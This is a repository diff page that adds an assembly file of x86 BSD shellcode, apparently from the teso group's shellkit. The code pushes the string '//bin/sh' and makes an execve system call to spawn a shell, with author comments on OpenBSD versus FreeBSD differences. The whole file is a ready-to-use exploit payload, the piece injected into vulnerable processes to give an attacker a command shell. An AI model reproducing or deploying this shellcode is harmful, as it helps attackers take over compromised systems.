diff options
Diffstat (limited to 'other/shellkit/x86_bsd/execvesh.s')
| -rw-r--r-- | other/shellkit/x86_bsd/execvesh.s | 31 |
1 files changed, 31 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd/execvesh.s b/other/shellkit/x86_bsd/execvesh.s new file mode 100644 index 0000000..370e7a4 --- /dev/null +++ b/other/shellkit/x86_bsd/execvesh.s | |||
| @@ -0,0 +1,31 @@ | |||
| 1 | /* x86/BSD execve /bin/sh shellcode | ||
| 2 | * | ||
| 3 | * lorian / teso | ||
| 4 | */ | ||
| 5 | |||
| 6 | /* somehow the obsd on plan9 where i tested it, needs the labels | ||
| 7 | * exported with _ before, while freebsd doesnt | ||
| 8 | */ | ||
| 9 | |||
| 10 | /* argv: OBSD needs a pointer to NULL, FBSD accepts NULL */ | ||
| 11 | |||
| 12 | .globl cbegin | ||
| 13 | .globl _cbegin | ||
| 14 | .globl cend | ||
| 15 | .globl _cend | ||
| 16 | |||
| 17 | _cbegin: | ||
| 18 | cbegin: | ||
| 19 | pushl $0x3b | ||
| 20 | popl %eax | ||
| 21 | cdq | ||
| 22 | pushl %edx | ||
| 23 | movl %esp, %ebx | ||
| 24 | push $0x68732F6E | ||
| 25 | push $0x69622F2F | ||
| 26 | pusha /* FULLPOWER */ | ||
| 27 | pop %esi | ||
| 28 | pop %esi | ||
| 29 | int $0x80 | ||
| 30 | _cend: | ||
| 31 | cend: | ||
